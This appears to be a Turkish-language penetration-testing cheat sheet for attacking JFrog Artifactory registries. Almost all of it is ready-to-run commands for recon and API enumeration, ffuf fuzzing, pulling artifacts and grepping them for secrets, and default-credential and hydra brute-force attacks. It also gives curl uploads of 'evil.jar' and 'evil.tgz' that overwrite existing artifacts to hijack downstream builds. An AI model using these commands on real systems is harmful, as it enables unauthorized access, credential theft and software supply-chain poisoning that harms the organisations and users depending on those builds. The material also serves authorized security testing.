Artifactory Hacking guide

network supply-chain

Artifactory paket/registry deposudur. Anonim okuma, zayıf API key ve yazılabilir repo supply-chain zehirlemesine gider.

Metodoloji

1. UI/API sürümünü ve anonim erişimi doğrula.

2. Repo listesi, artifact ve metadata sızıntısını tara.

3. Yazma izni veya token ile zararlı paket yükle.

4. Downstream build’lerin zehirli artifact’i çekmesini kanıtla.

Keşif

curl -skI https://TARGET/artifactory/

curl -sk https://TARGET/artifactory/api/system/version

curl -sk https://TARGET/artifactory/api/repositories

nmap -Pn -sV -p80,443,8081,8082 TARGET

Anonim / API

curl -sk https://TARGET/artifactory/api/storage/libs-release-local

curl -sk -u user:pass https://TARGET/artifactory/api/repositories

curl -sk -H 'X-JFrog-Art-Api: API_KEY' https://TARGET/artifactory/api/security/users

ffuf -u https://TARGET/artifactory/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,401,403

Artifact indirme / secret

curl -sk -O https://TARGET/artifactory/libs-release-local/com/corp/app/1.0/app-1.0.jar

unzip -l app-1.0.jar | head

strings app-1.0.jar | rg -i 'password|api[_-]?key|secret|jdbc'

# npm/pypi/docker registry endpoint'leri ayrı dene
curl -sk https://TARGET/artifactory/api/npm/npm-local/

Zehirleme (yazma hakkı)

curl -sk -u user:pass -T evil.jar 'https://TARGET/artifactory/libs-release-local/com/corp/app/1.0/app-1.0.jar'

curl -sk -H 'X-JFrog-Art-Api: API_KEY' -T evil.tgz 'https://TARGET/artifactory/api/npm/npm-local/evil/-/evil-1.0.0.tgz'

Aynı groupId:artifactId:version üzerine overwrite = build hijack

Default / brute

admin:password
admin:admin

hydra -L users.txt -P rockyou.txt https-post-form://TARGET/artifactory/ui/login:user=^USER^&password=^PASS^:F=error

Checklist

[ ] Version/API erişimi
[ ] Anonim repo listing
[ ] Artifact içi secret
[ ] Yazma / overwrite PoC
[ ] Token veya admin etkisi